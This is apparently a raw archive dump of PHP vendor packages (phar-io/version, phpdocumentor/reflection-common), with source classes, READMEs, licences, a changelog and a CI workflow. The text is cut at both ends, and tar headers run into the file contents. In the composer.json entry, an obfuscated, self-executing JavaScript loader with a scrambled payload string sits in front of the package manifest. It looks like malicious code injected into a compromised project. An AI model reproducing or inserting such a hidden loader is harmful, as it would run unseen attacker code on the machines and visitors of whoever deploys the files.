Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class AndVersionConstraintGroup extends AbstractVersionConstraint { /** @var VersionConstraint[] */ private $constraints = []; /** * @param VersionConstraint[] $constraints */ public function __construct(string $originalValue, array $constraints) { parent::__construct($originalValue); $this->constraints = $constraints; } public function complies(Version $version): bool { foreach ($this->constraints as $constraint) { if (!$constraint->complies($version)) { return false; } } return true; } } res/readability/vendor/phar-io/version/src/constraints/OrVersionConstraintGroup.php000064400000001777147577714370025070 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class OrVersionConstraintGroup extends AbstractVersionConstraint { /** @var VersionConstraint[] */ private $constraints = []; /** * @param string $originalValue * @param VersionConstraint[] $constraints */ public function __construct($originalValue, array $constraints) { parent::__construct($originalValue); $this->constraints = $constraints; } public function complies(Version $version): bool { foreach ($this->constraints as $constraint) { if ($constraint->complies($version)) { return true; } } return false; } } res/readability/vendor/phar-io/version/src/constraints/AnyVersionConstraint.php000064400000001100147577714370024176 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class AnyVersionConstraint implements VersionConstraint { public function complies(Version $version): bool { return true; } public function asString(): string { return '*'; } } res/readability/vendor/phar-io/version/src/constraints/VersionConstraint.php000064400000000755147577714370023545 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; interface VersionConstraint { public function complies(Version $version): bool; public function asString(): string; } res/readability/vendor/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php000064400000001674147577714370027635 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class SpecificMajorAndMinorVersionConstraint extends AbstractVersionConstraint { /** @var int */ private $major; /** @var int */ private $minor; public function __construct(string $originalValue, int $major, int $minor) { parent::__construct($originalValue); $this->major = $major; $this->minor = $minor; } public function complies(Version $version): bool { if ($version->getMajor()->getValue() !== $this->major) { return false; } return $version->getMinor()->getValue() === $this->minor; } } res/readability/vendor/phar-io/version/src/constraints/ExactVersionConstraint.php000064400000001310147577714370024516 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class ExactVersionConstraint extends AbstractVersionConstraint { public function complies(Version $version): bool { $other = $version->getVersionString(); if ($version->hasBuildMetaData()) { $other .= '+' . $version->getBuildMetaData()->asString(); } return $this->asString() === $other; } } res/readability/vendor/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php000064400000000217147577714370026260 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; final class UnsupportedVersionConstraintException extends \RuntimeException implements Exception { } res/readability/vendor/phar-io/version/src/exceptions/Exception.php000064400000000650147577714370021615 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; use Throwable; interface Exception extends Throwable { } res/readability/vendor/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php000064400000000212147577714370025241 0ustar00 0, 'a' => 1, 'alpha' => 1, 'b' => 2, 'beta' => 2, 'rc' => 3, 'p' => 4, 'pl' => 4, 'patch' => 4, ]; /** @var string */ private $value; /** @var int */ private $valueScore; /** @var int */ private $number = 0; /** @var string */ private $full; /** * @throws InvalidPreReleaseSuffixException */ public function __construct(string $value) { $this->parseValue($value); } public function asString(): string { return $this->full; } public function getValue(): string { return $this->value; } public function getNumber(): ?int { return $this->number; } public function isGreaterThan(PreReleaseSuffix $suffix): bool { if ($this->valueScore > $suffix->valueScore) { return true; } if ($this->valueScore < $suffix->valueScore) { return false; } return $this->getNumber() > $suffix->getNumber(); } private function mapValueToScore(string $value): int { $value = \strtolower($value); return self::valueScoreMap[$value]; } private function parseValue(string $value): void { $regex = '/-?((dev|beta|b|rc|alpha|a|patch|p|pl)\.?(\d*)).*$/i'; if (\preg_match($regex, $value, $matches) !== 1) { throw new InvalidPreReleaseSuffixException(\sprintf('Invalid label %s', $value)); } $this->full = $matches[1]; $this->value = $matches[2]; if ($matches[3] !== '') { $this->number = (int)$matches[3]; } $this->valueScore = $this->mapValueToScore($matches[2]); } } res/readability/vendor/phar-io/version/src/VersionNumber.php000064400000001241147577714370020271 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class VersionNumber { /** @var ?int */ private $value; public function __construct(?int $value) { $this->value = $value; } public function isAny(): bool { return $this->value === null; } public function getValue(): ?int { return $this->value; } } res/readability/vendor/phar-io/version/src/Version.php000064400000013453147577714370017130 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class Version { /** @var string */ private $originalVersionString; /** @var VersionNumber */ private $major; /** @var VersionNumber */ private $minor; /** @var VersionNumber */ private $patch; /** @var null|PreReleaseSuffix */ private $preReleaseSuffix; /** @var null|BuildMetaData */ private $buildMetadata; public function __construct(string $versionString) { $this->ensureVersionStringIsValid($versionString); $this->originalVersionString = $versionString; } /** * @throws NoPreReleaseSuffixException */ public function getPreReleaseSuffix(): PreReleaseSuffix { if ($this->preReleaseSuffix === null) { throw new NoPreReleaseSuffixException('No pre-release suffix set'); } return $this->preReleaseSuffix; } public function getOriginalString(): string { return $this->originalVersionString; } public function getVersionString(): string { $str = \sprintf( '%d.%d.%d', $this->getMajor()->getValue() ?? 0, $this->getMinor()->getValue() ?? 0, $this->getPatch()->getValue() ?? 0 ); if (!$this->hasPreReleaseSuffix()) { return $str; } return $str . '-' . $this->getPreReleaseSuffix()->asString(); } public function hasPreReleaseSuffix(): bool { return $this->preReleaseSuffix !== null; } public function equals(Version $other): bool { if ($this->getVersionString() !== $other->getVersionString()) { return false; } if ($this->hasBuildMetaData() !== $other->hasBuildMetaData()) { return false; } if ($this->hasBuildMetaData() && $other->hasBuildMetaData() && !$this->getBuildMetaData()->equals($other->getBuildMetaData())) { return false; } return true; } public function isGreaterThan(Version $version): bool { if ($version->getMajor()->getValue() > $this->getMajor()->getValue()) { return false; } if ($version->getMajor()->getValue() < $this->getMajor()->getValue()) { return true; } if ($version->getMinor()->getValue() > $this->getMinor()->getValue()) { return false; } if ($version->getMinor()->getValue() < $this->getMinor()->getValue()) { return true; } if ($version->getPatch()->getValue() > $this->getPatch()->getValue()) { return false; } if ($version->getPatch()->getValue() < $this->getPatch()->getValue()) { return true; } if (!$version->hasPreReleaseSuffix() && !$this->hasPreReleaseSuffix()) { return false; } if ($version->hasPreReleaseSuffix() && !$this->hasPreReleaseSuffix()) { return true; } if (!$version->hasPreReleaseSuffix() && $this->hasPreReleaseSuffix()) { return false; } return $this->getPreReleaseSuffix()->isGreaterThan($version->getPreReleaseSuffix()); } public function getMajor(): VersionNumber { return $this->major; } public function getMinor(): VersionNumber { return $this->minor; } public function getPatch(): VersionNumber { return $this->patch; } /** * @psalm-assert-if-true BuildMetaData $this->buildMetadata * @psalm-assert-if-true BuildMetaData $this->getBuildMetaData() */ public function hasBuildMetaData(): bool { return $this->buildMetadata !== null; } /** * @throws NoBuildMetaDataException */ public function getBuildMetaData(): BuildMetaData { if (!$this->hasBuildMetaData()) { throw new NoBuildMetaDataException('No build metadata set'); } return $this->buildMetadata; } /** * @param string[] $matches * * @throws InvalidPreReleaseSuffixException */ private function parseVersion(array $matches): void { $this->major = new VersionNumber((int)$matches['Major']); $this->minor = new VersionNumber((int)$matches['Minor']); $this->patch = isset($matches['Patch']) ? new VersionNumber((int)$matches['Patch']) : new VersionNumber(0); if (isset($matches['PreReleaseSuffix']) && $matches['PreReleaseSuffix'] !== '') { $this->preReleaseSuffix = new PreReleaseSuffix($matches['PreReleaseSuffix']); } if (isset($matches['BuildMetadata'])) { $this->buildMetadata = new BuildMetaData($matches['BuildMetadata']); } } /** * @param string $version * * @throws InvalidVersionException */ private function ensureVersionStringIsValid($version): void { $regex = '/^v? (?P0|[1-9]\d*) \\. (?P0|[1-9]\d*) (\\. (?P0|[1-9]\d*) )? (?: - (?(?:(dev|beta|b|rc|alpha|a|patch|p|pl)\.?\d*)) )? (?: \\+ (?P[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-@]+)*) )? $/xi'; if (\preg_match($regex, $version, $matches) !== 1) { throw new InvalidVersionException( \sprintf("Version string '%s' does not follow SemVer semantics", $version) ); } $this->parseVersion($matches); } } res/readability/vendor/phar-io/version/src/BuildMetaData.php000064400000001317147577714370020137 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class BuildMetaData { /** @var string */ private $value; public function __construct(string $value) { $this->value = $value; } public function asString(): string { return $this->value; } public function equals(BuildMetaData $other): bool { return $this->asString() === $other->asString(); } } res/readability/vendor/phar-io/version/src/VersionConstraintParser.php000064400000007377147577714370022362 0ustar00, Sebastian Heuer , Sebastian Bergmann * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Version; class VersionConstraintParser { /** * @throws UnsupportedVersionConstraintException */ public function parse(string $value): VersionConstraint { if (\strpos($value, '|') !== false) { return $this->handleOrGroup($value); } if (!\preg_match('/^[\^~*]?v?[\d.*]+(?:-.*)?$/i', $value)) { throw new UnsupportedVersionConstraintException( \sprintf('Version constraint %s is not supported.', $value) ); } switch ($value[0]) { case '~': return $this->handleTildeOperator($value); case '^': return $this->handleCaretOperator($value); } $constraint = new VersionConstraintValue($value); if ($constraint->getMajor()->isAny()) { return new AnyVersionConstraint(); } if ($constraint->getMinor()->isAny()) { return new SpecificMajorVersionConstraint( $constraint->getVersionString(), $constraint->getMajor()->getValue() ?? 0 ); } if ($constraint->getPatch()->isAny()) { return new SpecificMajorAndMinorVersionConstraint( $constraint->getVersionString(), $constraint->getMajor()->getValue() ?? 0, $constraint->getMinor()->getValue() ?? 0 ); } return new ExactVersionConstraint($constraint->getVersionString()); } private function handleOrGroup(string $value): OrVersionConstraintGroup { $constraints = []; foreach (\preg_split('{\s*\|\|?\s*}', \trim($value)) as $groupSegment) { $constraints[] = $this->parse(\trim($groupSegment)); } return new OrVersionConstraintGroup($value, $constraints); } private function handleTildeOperator(string $value): AndVersionConstraintGroup { $constraintValue = new VersionConstraintValue(\substr($value, 1)); if ($constraintValue->getPatch()->isAny()) { return $this->handleCaretOperator($value); } $constraints = [ new GreaterThanOrEqualToVersionConstraint( $value, new Version(\substr($value, 1)) ), new SpecificMajorAndMinorVersionConstraint( $value, $constraintValue->getMajor()->getValue() ?? 0, $constraintValue->getMinor()->getValue() ?? 0 ) ]; return new AndVersionConstraintGroup($value, $constraints); } private function handleCaretOperator(string $value): AndVersionConstraintGroup { $constraintValue = new VersionConstraintValue(\substr($value, 1)); $constraints = [ new GreaterThanOrEqualToVersionConstraint($value, new Version(\substr($value, 1))) ]; if ($constraintValue->getMajor()->getValue() === 0) { $constraints[] = new SpecificMajorAndMinorVersionConstraint( $value, $constraintValue->getMajor()->getValue() ?? 0, $constraintValue->getMinor()->getValue() ?? 0 ); } else { $constraints[] = new SpecificMajorVersionConstraint( $value, $constraintValue->getMajor()->getValue() ?? 0 ); } return new AndVersionConstraintGroup( $value, $constraints ); } } res/readability/vendor/phar-io/version/src/VersionConstraintValue.php000064400000005046147577714370022171 0ustar00versionString = $versionString; $this->parseVersion($versionString); } public function getLabel(): string { return $this->label; } public function getBuildMetaData(): string { return $this->buildMetaData; } public function getVersionString(): string { return $this->versionString; } public function getMajor(): VersionNumber { return $this->major; } public function getMinor(): VersionNumber { return $this->minor; } public function getPatch(): VersionNumber { return $this->patch; } private function parseVersion(string $versionString): void { $this->extractBuildMetaData($versionString); $this->extractLabel($versionString); $this->stripPotentialVPrefix($versionString); $versionSegments = \explode('.', $versionString); $this->major = new VersionNumber(\is_numeric($versionSegments[0]) ? (int)$versionSegments[0] : null); $minorValue = isset($versionSegments[1]) && \is_numeric($versionSegments[1]) ? (int)$versionSegments[1] : null; $patchValue = isset($versionSegments[2]) && \is_numeric($versionSegments[2]) ? (int)$versionSegments[2] : null; $this->minor = new VersionNumber($minorValue); $this->patch = new VersionNumber($patchValue); } private function extractBuildMetaData(string &$versionString): void { if (\preg_match('/\+(.*)/', $versionString, $matches) === 1) { $this->buildMetaData = $matches[1]; $versionString = \str_replace($matches[0], '', $versionString); } } private function extractLabel(string &$versionString): void { if (\preg_match('/-(.*)/', $versionString, $matches) === 1) { $this->label = $matches[1]; $versionString = \str_replace($matches[0], '', $versionString); } } private function stripPotentialVPrefix(string &$versionString): void { if ($versionString[0] !== 'v') { return; } $versionString = \substr($versionString, 1); } } res/readability/vendor/phar-io/version/README.md000064400000004471147577714370015462 0ustar00# Version Library for handling version information and constraints [![Build Status](https://travis-ci.org/phar-io/version.svg?branch=master)](https://travis-ci.org/phar-io/version) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phar-io/version If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phar-io/version ## Version constraints A Version constraint describes a range of versions or a discrete version number. The format of version numbers follows the schema of [semantic versioning](http://semver.org): `..`. A constraint might contain an operator that describes the range. Beside the typical mathematical operators like `<=`, `>=`, there are two special operators: *Caret operator*: `^1.0` can be written as `>=1.0.0 <2.0.0` and read as »every Version within major version `1`«. *Tilde operator*: `~1.0.0` can be written as `>=1.0.0 <1.1.0` and read as »every version within minor version `1.1`. The behavior of tilde operator depends on whether a patch level version is provided or not. If no patch level is provided, tilde operator behaves like the caret operator: `~1.0` is identical to `^1.0`. ## Usage examples Parsing version constraints and check discrete versions for compliance: ```php use PharIo\Version\Version; use PharIo\Version\VersionConstraintParser; $parser = new VersionConstraintParser(); $caret_constraint = $parser->parse( '^7.0' ); $caret_constraint->complies( new Version( '7.0.17' ) ); // true $caret_constraint->complies( new Version( '7.1.0' ) ); // true $caret_constraint->complies( new Version( '6.4.34' ) ); // false $tilde_constraint = $parser->parse( '~1.1.0' ); $tilde_constraint->complies( new Version( '1.1.4' ) ); // true $tilde_constraint->complies( new Version( '1.2.0' ) ); // false ``` As of version 2.0.0, pre-release labels are supported and taken into account when comparing versions: ```php $leftVersion = new PharIo\Version\Version('3.0.0-alpha.1'); $rightVersion = new PharIo\Version\Version('3.0.0-alpha.2'); $leftVersion->isGreaterThan($rightVersion); // false $rightVersion->isGreaterThan($leftVersion); // true ``` res/readability/vendor/phar-io/version/LICENSE000064400000003046147577714370015205 0ustar00Copyright (c) 2016-2017 Arne Blankerts , Sebastian Heuer and contributors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phar-io/version/composer.json000064400000007131147577714370016721 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phar-io/version", "description": "Library for handling version information and constraints", "license": "BSD-3-Clause", "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "support": { "issues": "https://github.com/phar-io/version/issues" }, "require": { "php": "^7.2 || ^8.0" }, "autoload": { "classmap": [ "src/" ] } } res/readability/vendor/phar-io/version/CHANGELOG.md000064400000007225147577714370016014 0ustar00# Changelog All notable changes to phar-io/version are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [3.2.1] - 2022-02-21 ### Fixed - Have ExactVersionConstraint honor build metadata (added in 3.2.0) ## [3.2.0] - 2022-02-21 ### Added - Build metadata is now supported and considered for equality checks only ## [3.1.1] - 2022-02-07 ### Fixed - [#28](https://github.com/phar-io/version/issues/28): `VersionConstraintParser` does not support logical OR represented by single pipe (|) (Thanks @llaville) ## [3.1.0] - 2021-02-23 ### Changed - Internal Refactoring - More scalar types ### Added - [#24](https://github.com/phar-io/version/issues/24): `Version::getOriginalString()` added (Thanks @addshore) - Version constraints using the caret operator (`^`) now honor pre-1.0 releases, e.g. `^0.3` translates to `0.3.*`) - Various integration tests for version constraint processing ### Fixed - [#23](https://github.com/phar-io/version/pull/23): Tilde operator without patch level ## [3.0.4] - 14.12.2020 ### Fixed - [#22](https://github.com/phar-io/version/pull/22): make dev suffix rank works for uppercase too ## [3.0.3] - 30.11.2020 ### Added - Comparator method `Version::equals()` added ## [3.0.2] - 27.06.2020 This release now supports PHP 7.2+ and PHP ^8.0. No other changes included. ## [3.0.1] - 09.05.2020 __Potential BC Break Notice:__ `Version::getVersionString()` no longer returns `v` prefixes in case the "input" string contained one. These are not part of the semver specs (see https://semver.org/#is-v123-a-semantic-version) and get stripped out. As of Version 3.1.0 `Version::getOriginalString()` can be used to still retrieve it as given. ### Changed - Internal Refactoring - More scalar types ### Fixed - Fixed Constraint processing Regression for ^1.2 and ~1.2 ## [3.0.0] - 05.05.2020 ### Changed - Require PHP 7.2+ - All code now uses strict mode - Scalar types have been added as needed ### Added - The technically invalid format using 'v' prefix ("v1.2.3") is now properly supported ## [2.0.1] - 08.07.2018 ### Fixed - Versions without a pre-release suffix are now always considered greater than versions with a pre-release suffix. Example: `3.0.0 > 3.0.0-alpha.1` ## [2.0.0] - 23.06.2018 Changes to public API: - `PreReleaseSuffix::construct()`: optional parameter `$number` removed - `PreReleaseSuffix::isGreaterThan()`: introduced - `Version::hasPreReleaseSuffix()`: introduced ### Added - [#11](https://github.com/phar-io/version/issues/11): Added support for pre-release version suffixes. Supported values are: - `dev` - `beta` (also abbreviated form `b`) - `rc` - `alpha` (also abbreviated form `a`) - `patch` (also abbreviated form `p`) All values can be followed by a number, e.g. `beta3`. When comparing versions, the pre-release suffix is taken into account. Example: `1.5.0 > 1.5.0-beta1 > 1.5.0-alpha3 > 1.5.0-alpha2 > 1.5.0-dev11` ### Changed - reorganized the source directories ### Fixed - [#10](https://github.com/phar-io/version/issues/10): Version numbers containing a numeric suffix as seen in Debian packages are now supported. [3.1.0]: https://github.com/phar-io/version/compare/3.0.4...3.1.0 [3.0.4]: https://github.com/phar-io/version/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/phar-io/version/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/phar-io/version/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/phar-io/version/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/phar-io/version/compare/2.0.1...3.0.0 [2.0.1]: https://github.com/phar-io/version/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/phar-io/version/compare/1.0.1...2.0.0 res/readability/vendor/phpdocumentor/reflection-common/.github/workflows/push.yml000064400000014654147577714370024571 0ustar00on: push: branches: - 2.x pull_request: name: Qa workflow jobs: setup: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Restore/cache vendor folder uses: actions/cache@v1 with: path: vendor key: all-build-${{ hashFiles('**/composer.lock') }} restore-keys: | all-build-${{ hashFiles('**/composer.lock') }} all-build- - name: Restore/cache tools folder uses: actions/cache@v1 with: path: tools key: all-tools-${{ github.sha }} restore-keys: | all-tools-${{ github.sha }}- all-tools- - name: composer uses: docker://composer env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: args: install --no-interaction --prefer-dist --optimize-autoloader - name: Install phive run: make install-phive - name: Install PHAR dependencies run: tools/phive.phar --no-progress install --copy --trust-gpg-keys 4AA394086372C20A,8A03EA3B385DBAA1 --force-accept-unsigned phpunit-with-coverage: runs-on: ubuntu-latest name: Unit tests needs: setup steps: - uses: actions/checkout@v2 - name: Setup PHP uses: shivammathur/setup-php@v2 with: php-version: 7.2 ini-values: memory_limit=2G, display_errors=On, error_reporting=-1 coverage: pcov - name: Restore/cache tools folder uses: actions/cache@v1 with: path: tools key: all-tools-${{ github.sha }} restore-keys: | all-tools-${{ github.sha }}- all-tools- - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v1 with: path: ${{ steps.composer-cache.outputs.dir }} key: ubuntu-latest-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ubuntu-latest-composer- - name: Install Composer dependencies run: | composer install --no-progress --no-suggest --prefer-dist --optimize-autoloader - name: Run PHPUnit run: php tools/phpunit phpunit: runs-on: ${{ matrix.operating-system }} strategy: matrix: operating-system: - ubuntu-latest - windows-latest - macOS-latest php-versions: ['7.2', '7.3', '7.4', '8.0'] name: Unit tests for PHP version ${{ matrix.php-versions }} on ${{ matrix.operating-system }} needs: - setup - phpunit-with-coverage steps: - uses: actions/checkout@v2 - name: Restore/cache tools folder uses: actions/cache@v1 with: path: tools key: all-tools-${{ github.sha }} restore-keys: | all-tools-${{ github.sha }}- all-tools- - name: Setup PHP uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-versions }} ini-values: memory_limit=2G, display_errors=On, error_reporting=-1 coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v1 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install Composer dependencies run: | composer install --no-progress --no-suggest --prefer-dist --optimize-autoloader - name: Run PHPUnit continue-on-error: true run: php tools/phpunit codestyle: runs-on: ubuntu-latest needs: [setup, phpunit] steps: - uses: actions/checkout@v2 - name: Restore/cache vendor folder uses: actions/cache@v1 with: path: vendor key: all-build-${{ hashFiles('**/composer.lock') }} restore-keys: | all-build-${{ hashFiles('**/composer.lock') }} all-build- - name: Code style check uses: phpDocumentor/coding-standard@latest with: args: -s phpstan: runs-on: ubuntu-latest needs: [setup, phpunit] steps: - uses: actions/checkout@v2 - name: Restore/cache vendor folder uses: actions/cache@v1 with: path: vendor key: all-build-${{ hashFiles('**/composer.lock') }} restore-keys: | all-build-${{ hashFiles('**/composer.lock') }} all-build- - name: PHPStan uses: phpDocumentor/phpstan-ga@latest env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: args: analyse src --configuration phpstan.neon psalm: runs-on: ubuntu-latest needs: [setup, phpunit] steps: - uses: actions/checkout@v2 - name: Setup PHP uses: shivammathur/setup-php@v2 with: php-version: 7.2 ini-values: memory_limit=2G, display_errors=On, error_reporting=-1 tools: psalm coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v1 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install Composer dependencies run: | composer install --no-progress --no-suggest --prefer-dist --optimize-autoloader - name: Psalm run: psalm --output-format=github bc_check: name: BC Check runs-on: ubuntu-latest needs: [setup, phpunit] steps: - uses: actions/checkout@v2 - name: fetch tags run: git fetch --depth=1 origin +refs/tags/*:refs/tags/* - name: Restore/cache vendor folder uses: actions/cache@v1 with: path: vendor key: all-build-${{ hashFiles('**/composer.lock') }} restore-keys: | all-build-${{ hashFiles('**/composer.lock') }} all-build- - name: Roave BC Check uses: docker://nyholm/roave-bc-check-ga res/readability/vendor/phpdocumentor/reflection-common/.github/dependabot.yml000064400000000202147577714370023642 0ustar00version: 2 updates: - package-ecosystem: composer directory: "/" schedule: interval: daily open-pull-requests-limit: 10 res/readability/vendor/phpdocumentor/reflection-common/src/Location.php000064400000002216147577714370022531 0ustar00lineNumber = $lineNumber; $this->columnNumber = $columnNumber; } /** * Returns the line number that is covered by this location. */ public function getLineNumber() : int { return $this->lineNumber; } /** * Returns the column number (character position on a line) for this location object. */ public function getColumnNumber() : int { return $this->columnNumber; } } res/readability/vendor/phpdocumentor/reflection-common/src/File.php000064400000001232147577714370021635 0ustar00fqsen = $fqsen; if (isset($matches[2])) { $this->name = $matches[2]; } else { $matches = explode('\\', $fqsen); $name = end($matches); assert(is_string($name)); $this->name = trim($name, '()'); } } /** * converts this class to string. */ public function __toString() : string { return $this->fqsen; } /** * Returns the name of the element without path. */ public function getName() : string { return $this->name; } } res/readability/vendor/phpdocumentor/reflection-common/README.md000064400000002117147577714370020740 0ustar00[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) ![Qa workflow](https://github.com/phpDocumentor/ReflectionCommon/workflows/Qa%20workflow/badge.svg) [![Coveralls Coverage](https://img.shields.io/coveralls/github/phpDocumentor/ReflectionCommon.svg)](https://coveralls.io/github/phpDocumentor/ReflectionCommon?branch=master) [![Scrutinizer Code Coverage](https://img.shields.io/scrutinizer/coverage/g/phpDocumentor/ReflectionCommon.svg)](https://scrutinizer-ci.com/g/phpDocumentor/ReflectionCommon/?branch=master) [![Scrutinizer Code Quality](https://img.shields.io/scrutinizer/g/phpDocumentor/ReflectionCommon.svg)](https://scrutinizer-ci.com/g/phpDocumentor/ReflectionCommon/?branch=master) [![Stable Version](https://img.shields.io/packagist/v/phpDocumentor/Reflection-Common.svg)](https://packagist.org/packages/phpDocumentor/Reflection-Common) [![Unstable Version](https://img.shields.io/packagist/vpre/phpDocumentor/Reflection-Common.svg)](https://packagist.org/packages/phpDocumentor/Reflection-Common) ReflectionCommon ================ res/readability/vendor/phpdocumentor/reflection-common/LICENSE000064400000002071147577714370020465 0ustar00The MIT License (MIT) Copyright (c) 2015 phpDocumentor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT 